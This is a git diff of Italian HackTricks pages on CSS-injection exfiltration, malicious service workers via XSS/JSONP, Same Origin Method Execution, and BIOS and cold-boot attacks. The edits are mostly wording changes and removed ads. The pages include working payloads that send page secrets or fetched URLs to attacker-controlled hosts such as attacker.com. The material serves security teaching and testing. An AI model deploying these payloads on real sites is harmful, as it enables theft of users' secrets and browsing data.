Combinando questo con la seguente tecnica **@import**, è possibile esfiltrare molte **info utilizzando l'iniezione CSS da pagine cieche con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La tecnica precedente ha alcuni svantaggi, controlla i requisiti. Devi essere in grado di **inviare più link alla vittima**, oppure devi essere in grado di **iframe la pagina vulnerabile all'iniezione CSS**.
|
||||
La tecnica precedente ha alcuni svantaggi, controlla i prerequisiti. Devi essere in grado di **inviare più link alla vittima**, oppure devi essere in grado di **iframe la pagina vulnerabile all'iniezione CSS**.
|
||||
|
||||
Tuttavia, c'è un'altra tecnica intelligente che utilizza **CSS `@import`** per migliorare la qualità della tecnica.
|
||||
Tuttavia, c'è un'altra tecnica ingegnosa che utilizza **CSS `@import`** per migliorare la qualità della tecnica.
|
||||
|
||||
Questa è stata mostrata per la prima volta da [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funziona in questo modo:
|
||||
Questo è stato mostrato per la prima volta da [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funziona in questo modo:
|
||||
|
||||
Invece di caricare la stessa pagina più e più volte con decine di payload diversi ogni volta (come nella precedente), caricheremo **la pagina solo una volta e solo con un import al server dell'attaccante** (questo è il payload da inviare alla vittima):
|
||||
```css
|
||||
|
@ -89,18 +82,18 @@ Invece di caricare la stessa pagina più e più volte con decine di payload dive
|
|||
```
|
||||
1. L'importazione andrà a **ricevere alcuni script CSS** dagli attaccanti e il **browser li caricherà**.
|
||||
2. La prima parte dello script CSS che l'attaccante invierà è **un altro `@import` al server degli attaccanti di nuovo.**
|
||||
1. Il server degli attaccanti non risponderà ancora a questa richiesta, poiché vogliamo rivelare alcuni caratteri e poi rispondere a questo import con il payload per rivelare i successivi.
|
||||
3. La seconda e più grande parte del payload sarà un **payload di leak del selettore di attributi**
|
||||
1. Il server degli attaccanti non risponderà a questa richiesta ancora, poiché vogliamo leakare alcuni caratteri e poi rispondere a questo import con il payload per leakare i successivi.
|
||||
3. La seconda e più grande parte del payload sarà un **payload di leak dell'attributo selettore**
|
||||
1. Questo invierà al server degli attaccanti il **primo carattere del segreto e l'ultimo**
|
||||
4. Una volta che il server degli attaccanti ha ricevuto il **primo e l'ultimo carattere del segreto**, risponderà **all'import richiesto nel passo 2**.
|
||||
1. La risposta sarà esattamente la stessa dei **passi 2, 3 e 4**, ma questa volta cercherà di **trovare il secondo carattere del segreto e poi il penultimo**.
|
||||
|
||||
L'attaccante **seguirà quel ciclo fino a riuscire a rivelare completamente il segreto**.
|
||||
L'attaccante **seguirà quel ciclo fino a riuscire a leakare completamente il segreto**.
|
||||
|
||||
Puoi trovare il [**codice originale di Pepe Vila per sfruttare questo qui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puoi trovare quasi lo [**stesso codice ma commentato qui**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Lo script cercherà di scoprire 2 caratteri ogni volta (dall'inizio e dalla fine) perché il selettore di attributi consente di fare cose come:
|
||||
Lo script cercherà di scoprire 2 caratteri ogni volta (dall'inizio e dalla fine) perché il selettore di attributo consente di fare cose come:
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
@ -118,7 +111,7 @@ Nessun problema, controlla semplicemente l'**output** perché **puoi vedere la f
|
|||
|
||||
### Altri selettori
|
||||
|
||||
Altri modi per accedere a parti del DOM con **selettori CSS**:
|
||||
Altri modi per accedere a parti del DOM con **CSS selectors**:
|
||||
|
||||
* **`.class-to-search:nth-child(2)`**: Questo cercherà il secondo elemento con classe "class-to-search" nel DOM.
|
||||
* **`:empty`** selettore: Usato ad esempio in [**questo writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
@ -129,7 +122,7 @@ Altri modi per accedere a parti del DOM con **selettori CSS**:
|
|||
|
||||
### XS-Search basato su errore
|
||||
|
||||
**Riferimento:** [Attacco basato su CSS: Abusare di unicode-range di @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search basato su errore di @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Riferimento:** [Attacco basato su CSS: Abusare di unicode-range di @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search basato su errore PoC di @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
L'intenzione generale è di **utilizzare un font personalizzato da un endpoint controllato** e garantire che **il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (`favicon.ico`) non può essere caricata**.
|
||||
```html
|
||||
|
@ -170,7 +163,7 @@ font-family: 'poc';
|
|||
|
||||
La **`:target`** pseudo-classe è impiegata per selezionare un elemento mirato da un **frammento URL**, come specificato nella [specifica CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). È fondamentale comprendere che `::target-text` non corrisponde a nessun elemento a meno che il testo non sia esplicitamente mirato dal frammento.
|
||||
|
||||
Sorge una preoccupazione per la sicurezza quando gli attaccanti sfruttano la funzionalità **Scroll-to-text** fragment, consentendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal loro server tramite iniezione HTML. Il metodo prevede l'iniezione di una regola CSS come questa:
|
||||
Un problema di sicurezza sorge quando gli attaccanti sfruttano la funzionalità **Scroll-to-text** fragment, consentendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal loro server tramite iniezione HTML. Il metodo prevede l'iniezione di una regola CSS come questa:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -182,7 +175,7 @@ Qui, l'attacco manipola l'iniezione HTML per trasmettere il codice CSS, mirando
|
|||
|
||||
Per la mitigazione, si devono notare i seguenti punti:
|
||||
|
||||
1. **Corrispondenza STTF Constrainata**: Il frammento Scroll-to-text (STTF) è progettato per corrispondere solo a parole o frasi, limitando così la sua capacità di leakare segreti o token arbitrari.
|
||||
1. **Corrispondenza STTF Constrainata**: Il frammento Scroll-to-text (STTF) è progettato per corrispondere solo a parole o frasi, limitando così la sua capacità di rivelare segreti o token arbitrari.
|
||||
2. **Restrizione ai Contesti di Navigazione di Livello Superiore**: Lo STTF opera esclusivamente nei contesti di navigazione di livello superiore e non funziona all'interno di iframe, rendendo qualsiasi tentativo di sfruttamento più evidente per l'utente.
|
||||
3. **Necessità di Attivazione da Parte dell'Utente**: Lo STTF richiede un gesto di attivazione da parte dell'utente per funzionare, il che significa che gli sfruttamenti sono fattibili solo attraverso navigazioni avviate dall'utente. Questo requisito riduce notevolmente il rischio che gli attacchi vengano automatizzati senza interazione dell'utente. Tuttavia, l'autore del post del blog sottolinea condizioni specifiche e bypass (ad es., ingegneria sociale, interazione con estensioni di browser prevalenti) che potrebbero facilitare l'automazione dell'attacco.
|
||||
|
||||
|
@ -228,7 +221,7 @@ Quando accedi a questa pagina, Chrome e Firefox recuperano "?A" e "?B" perché i
|
|||
La tecnica descritta implica l'estrazione di testo da un nodo sfruttando le legature dei caratteri e monitorando i cambiamenti di larghezza. Il processo prevede diversi passaggi:
|
||||
|
||||
1. **Creazione di font personalizzati**:
|
||||
- I font SVG sono realizzati con glifi che hanno un attributo `horiz-adv-x`, che imposta una grande larghezza per un glifo che rappresenta una sequenza di due caratteri.
|
||||
- I font SVG sono creati con glifi che hanno un attributo `horiz-adv-x`, che imposta una grande larghezza per un glifo che rappresenta una sequenza di due caratteri.
|
||||
- Esempio di glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, dove "XY" denota una sequenza di due caratteri.
|
||||
- Questi font vengono quindi convertiti in formato woff utilizzando fontforge.
|
||||
|
||||
|
@ -246,14 +239,14 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
- **Passo 1**: Vengono creati font per coppie di caratteri con larghezza sostanziale.
|
||||
- **Passo 2**: Viene impiegato un trucco basato sulla barra di scorrimento per rilevare quando il glifo di grande larghezza (legatura per una coppia di caratteri) viene reso, indicando la presenza della sequenza di caratteri.
|
||||
- **Passo 3**: Una volta rilevata una legatura, vengono generati nuovi glifi che rappresentano sequenze di tre caratteri, incorporando la coppia rilevata e aggiungendo un carattere precedente o successivo.
|
||||
- **Passo 4**: Viene effettuato il rilevamento della legatura di tre caratteri.
|
||||
- **Passo 4**: Viene effettuata la rilevazione della legatura di tre caratteri.
|
||||
- **Passo 5**: Il processo si ripete, rivelando progressivamente l'intero testo.
|
||||
|
||||
4. **Ottimizzazione**:
|
||||
- Il metodo di inizializzazione attuale che utilizza `<meta refresh=...` non è ottimale.
|
||||
- Un approccio più efficiente potrebbe coinvolgere il trucco CSS `@import`, migliorando le prestazioni dello sfruttamento.
|
||||
|
||||
### Estrazione del nodo di testo (II): leaking the charset with a default font (non richiede risorse esterne) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Estrazione del nodo di testo (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Riferimento:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
|
@ -278,16 +271,16 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
Durante questa transizione, viene impiegato il **trucco unicode-range** per identificare ogni nuovo carattere mentre si unisce al prefisso. Questo viene realizzato cambiando il font in Comic Sans, che è notevolmente più alto del font predefinito, attivando di conseguenza una barra di scorrimento verticale. L'apparizione di questa barra di scorrimento rivela indirettamente la presenza di un nuovo carattere nel prefisso.
|
||||
Durante questa transizione, viene impiegato il **trucco unicode-range** per identificare ogni nuovo carattere man mano che si unisce al prefisso. Questo viene realizzato cambiando il font in Comic Sans, che è notevolmente più alto del font predefinito, attivando di conseguenza una barra di scorrimento verticale. L'apparizione di questa barra di scorrimento rivela indirettamente la presenza di un nuovo carattere nel prefisso.
|
||||
|
||||
Sebbene questo metodo consenta il rilevamento di caratteri unici man mano che appaiono, non specifica quale carattere è ripetuto, solo che è avvenuta una ripetizione.
|
||||
Sebbene questo metodo consenta di rilevare caratteri unici man mano che appaiono, non specifica quale carattere è ripetuto, solo che è avvenuta una ripetizione.
|
||||
|
||||
{% hint style="info" %}
|
||||
Fondamentalmente, il **unicode-range viene utilizzato per rilevare un char**, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.\
|
||||
Quando il **char** è **trovato**, gli viene **assegnato** il **font Comic Sans** preinstallato, che **rende** il char **più grande** e **attiva una barra di scorrimento** che **leakerà il char trovato**.
|
||||
Fondamentalmente, il **unicode-range viene utilizzato per rilevare un carattere**, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.\
|
||||
Quando il **carattere** è **trovato**, gli viene **assegnato** il **font Comic Sans** preinstallato, che **rende** il carattere **più grande** e **attiva una barra di scorrimento** che **leakerà il carattere trovato**.
|
||||
{% endhint %}
|
||||
|
||||
Controlla il codice estratto dalla PoC:
|
||||
Controlla il codice estratto dal PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||||
|
@ -414,13 +407,13 @@ background: blue var(--leak);
|
|||
```
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Questo caso è molto simile al precedente, tuttavia, in questo caso l'obiettivo di rendere specifici **chars più grandi di altri è nascondere qualcosa** come un pulsante da non premere da parte del bot o un'immagine che non verrà caricata. Quindi potremmo misurare l'azione (o la mancanza di azione) e sapere se un char specifico è presente all'interno del testo.
|
||||
Questo caso è molto simile al precedente, tuttavia, in questo caso l'obiettivo di rendere specifici **char più grandi di altri è nascondere qualcosa** come un pulsante da non premere da parte del bot o un'immagine che non verrà caricata. Quindi potremmo misurare l'azione (o la mancanza di azione) e sapere se un char specifico è presente all'interno del testo.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
In questo caso, potremmo provare a leakare se un char è nel testo caricando un font falso dalla stessa origine:
|
||||
```css
|
||||
|
@ -434,11 +427,11 @@ Se c'è una corrispondenza, il **font verrà caricato da `/static/bootstrap.min.
|
|||
|
||||
Tuttavia, se la differenza di tempo della risposta memorizzata nella cache rispetto a quella non memorizzata non è abbastanza grande, questo non sarà utile. Ad esempio, l'autore ha menzionato: Tuttavia, dopo aver testato, ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot utilizza il flag `disk-cache-size=1`, il che è davvero pensato.
|
||||
|
||||
### Estrazione del nodo di testo (III): perdita del charset caricando a tempo centinaia di "font" locali (senza richiedere risorse esterne) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Estrazione del nodo di testo (III): perdita del charset misurando il caricamento di centinaia di "font" locali (senza richiedere risorse esterne) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Riferimento:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
In questo caso puoi indicare **CSS per caricare centinaia di font falsi** dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi **misurare il tempo** che ci vuole e scoprire se un carattere appare o meno con qualcosa come:
|
||||
In questo caso puoi indicare **CSS per caricare centinaia di font falsi** dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi **misurare il tempo** necessario e scoprire se un carattere appare o meno con qualcosa come:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -464,12 +457,6 @@ Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,34 +15,26 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di Base
|
||||
## Basic Information
|
||||
|
||||
Un **service worker** è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che abilita funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di **elaborazione offline e in background**. Informazioni dettagliate sui service worker possono essere trovate [qui](https://developers.google.com/web/fundamentals/primers/service-workers). Sfruttando i service worker all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.
|
||||
|
||||
### Controllo dei Service Worker Esistenti
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
I service worker esistenti possono essere controllati nella sezione **Service Workers** della scheda **Application** negli **Strumenti per sviluppatori**. Un altro metodo è visitare [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) per una vista più dettagliata.
|
||||
|
||||
### Notifiche Push
|
||||
### Push Notifications
|
||||
|
||||
I **permessi per le notifiche push** influenzano direttamente la capacità di un **service worker** di comunicare con il server senza interazione diretta dell'utente. Se i permessi vengono negati, si limita il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere i permessi aumenta i rischi per la sicurezza abilitando la ricezione e l'esecuzione di potenziali exploit.
|
||||
Le **autorizzazioni per le notifiche push** influenzano direttamente la capacità di un **service worker** di comunicare con il server senza interazione diretta dell'utente. Se le autorizzazioni vengono negate, si limita il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere autorizzazioni aumenta i rischi per la sicurezza abilitando la ricezione e l'esecuzione di potenziali exploit.
|
||||
|
||||
## Attacco Creando un Service Worker
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
Per sfruttare questa vulnerabilità è necessario trovare:
|
||||
|
||||
* Un modo per **caricare file JS arbitrari** sul server e un **XSS per caricare il service worker** del file JS caricato
|
||||
* Una **richiesta JSONP vulnerabile** dove puoi **manipolare l'output (con codice JS arbitrario)** e un **XSS** per **caricare il JSONP con un payload** che **caricherà un service worker malevolo**.
|
||||
|
||||
Nell'esempio seguente presenterò un codice per **registrare un nuovo service worker** che ascolterà l'evento `fetch` e **invierà al server degli attaccanti ogni URL recuperato** (questo è il codice che dovresti **caricare** sul **server** o caricare tramite una **risposta JSONP vulnerabile**):
|
||||
Nel seguente esempio presenterò un codice per **registrare un nuovo service worker** che ascolterà l'evento `fetch` e **invierà al server degli attaccanti ogni URL recuperato** (questo è il codice che dovresti **caricare** sul **server** o caricare tramite una **risposta JSONP vulnerabile**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -73,7 +65,7 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
```
|
||||
C'è un **C2** dedicato all'**sfruttamento dei Service Workers** chiamato [**Shadow Workers**](https://shadow-workers.github.io) che sarà molto utile per abusare di queste vulnerabilità.
|
||||
|
||||
La **direttiva di cache di 24 ore** limita la vita di un **service worker (SW)** malevolo o compromesso a un massimo di 24 ore dopo una correzione della vulnerabilità XSS, assumendo lo stato online del client. Per minimizzare la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Si consiglia inoltre agli sviluppatori di creare un [**kill-switch per il service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) per una rapida disattivazione.
|
||||
La **direttiva di cache di 24 ore** limita la vita di un **service worker (SW)** malevolo o compromesso a un massimo di 24 ore dopo una correzione della vulnerabilità XSS, assumendo uno stato client online. Per minimizzare la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Si consiglia inoltre agli sviluppatori di creare un [**kill-switch per il service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) per una rapida disattivazione.
|
||||
|
||||
## Abusare di `importScripts` in un SW tramite DOM Clobbering
|
||||
|
||||
|
@ -105,7 +97,7 @@ Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Se l'URL/dominio che il SW utilizza per chiamare **`importScripts`** è **all'interno di un elemento HTML**, è **possibile modificarlo tramite DOM Clobbering** per far sì che il SW **carichi uno script dal tuo dominio**.
|
||||
Se l'URL/dominio che il SW sta usando per chiamare **`importScripts`** è **all'interno di un elemento HTML**, è **possibile modificarlo tramite DOM Clobbering** per far sì che il SW **carichi uno script dal tuo dominio**.
|
||||
|
||||
Per un esempio di questo, controlla il link di riferimento.
|
||||
|
||||
|
@ -113,12 +105,6 @@ Per un esempio di questo, controlla il link di riferimento.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -129,7 +115,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Same Origin Method Execution
|
||||
|
||||
Ci saranno occasioni in cui puoi eseguire un po' di javascript limitato in una pagina. Ad esempio, nel caso in cui puoi [**controllare un valore di callback che verrà eseguito**](./#javascript-function).
|
||||
|
@ -43,19 +29,19 @@ Fondamentalmente, il flusso dell'attacco è il seguente:
|
|||
* Se non è limitato e puoi eseguire qualsiasi JS, potresti semplicemente abusare di questo come un normale XSS.
|
||||
* Fai in modo che la **vittima apra una pagina** controllata dall'**attaccante**.
|
||||
* La **pagina si aprirà da sola** in una **finestra diversa** (la nuova finestra avrà l'oggetto **`opener`** che fa riferimento a quella iniziale).
|
||||
* La **pagina iniziale** caricherà la **pagina** in cui si trova il **DOM interessante**.
|
||||
* La **seconda pagina** caricherà la **pagina vulnerabile abusando del callback** e utilizzando l'oggetto **`opener`** per **accedere ed eseguire un'azione nella pagina iniziale** (che ora contiene il DOM interessante).
|
||||
* La **pagina iniziale** caricherà la **pagina** dove si trova il **DOM interessante**.
|
||||
* La **seconda pagina** caricherà la **pagina vulnerabile abusando del callback** e utilizzando l'oggetto **`opener`** per **accedere ed eseguire qualche azione nella pagina iniziale** (che ora contiene il DOM interessante).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che anche se la pagina iniziale accede a un nuovo URL dopo aver creato la seconda pagina, l'**oggetto opener della seconda pagina è ancora un riferimento valido alla prima pagina nel nuovo DOM**.
|
||||
Nota che anche se la pagina iniziale accede a un nuovo URL dopo aver creato la seconda pagina, l'**oggetto `opener` della seconda pagina è ancora un riferimento valido alla prima pagina nel nuovo DOM**.
|
||||
|
||||
Inoltre, affinché la seconda pagina possa utilizzare l'oggetto opener, **entrambe le pagine devono essere nella stessa origine**. Questo è il motivo per cui, per abusare di questa vulnerabilità, devi trovare una sorta di **XSS nella stessa origine**.
|
||||
Inoltre, affinché la seconda pagina possa utilizzare l'oggetto opener, **entrambe le pagine devono essere nella stessa origine**. Questo è il motivo per cui, per abusare di questa vulnerabilità, devi trovare qualche tipo di **XSS nella stessa origine**.
|
||||
{% endhint %}
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Puoi utilizzare questo modulo per **generare un PoC** per sfruttare questo tipo di vulnerabilità: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Per trovare un percorso DOM a un elemento HTML con un clic puoi utilizzare questa estensione del browser: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
* Puoi usare questo modulo per **generare un PoC** per sfruttare questo tipo di vulnerabilità: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Per trovare un percorso DOM a un elemento HTML con un clic puoi usare questa estensione del browser: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Example
|
||||
|
||||
|
|
|
@ -15,25 +15,11 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Recupero della Password del BIOS e Sicurezza del Sistema
|
||||
|
||||
**Ripristinare il BIOS** può essere realizzato in diversi modi. La maggior parte delle schede madri include una **batteria** che, se rimossa per circa **30 minuti**, ripristinerà le impostazioni del BIOS, inclusa la password. In alternativa, un **jumper sulla scheda madre** può essere regolato per ripristinare queste impostazioni collegando pin specifici.
|
||||
|
||||
Per situazioni in cui le regolazioni hardware non sono possibili o pratiche, gli **strumenti software** offrono una soluzione. Eseguire un sistema da un **Live CD/USB** con distribuzioni come **Kali Linux** fornisce accesso a strumenti come **_killCmos_** e **_CmosPWD_**, che possono assistere nel recupero della password del BIOS.
|
||||
Per situazioni in cui le regolazioni hardware non sono possibili o pratiche, **strumenti software** offrono una soluzione. Eseguire un sistema da un **Live CD/USB** con distribuzioni come **Kali Linux** fornisce accesso a strumenti come **_killCmos_** e **_CmosPWD_**, che possono assistere nel recupero della password del BIOS.
|
||||
|
||||
Nei casi in cui la password del BIOS è sconosciuta, inserirla in modo errato **tre volte** di solito comporta un codice di errore. Questo codice può essere utilizzato su siti web come [https://bios-pw.org](https://bios-pw.org) per potenzialmente recuperare una password utilizzabile.
|
||||
|
||||
|
@ -45,11 +31,11 @@ Per i sistemi moderni che utilizzano **UEFI** invece del tradizionale BIOS, lo s
|
|||
|
||||
### Analisi della RAM e Attacchi Cold Boot
|
||||
|
||||
La RAM conserva i dati brevemente dopo che l'alimentazione è stata interrotta, di solito per **1-2 minuti**. Questa persistenza può essere estesa a **10 minuti** applicando sostanze fredde, come l'azoto liquido. Durante questo periodo prolungato, è possibile creare un **dump di memoria** utilizzando strumenti come **dd.exe** e **volatility** per l'analisi.
|
||||
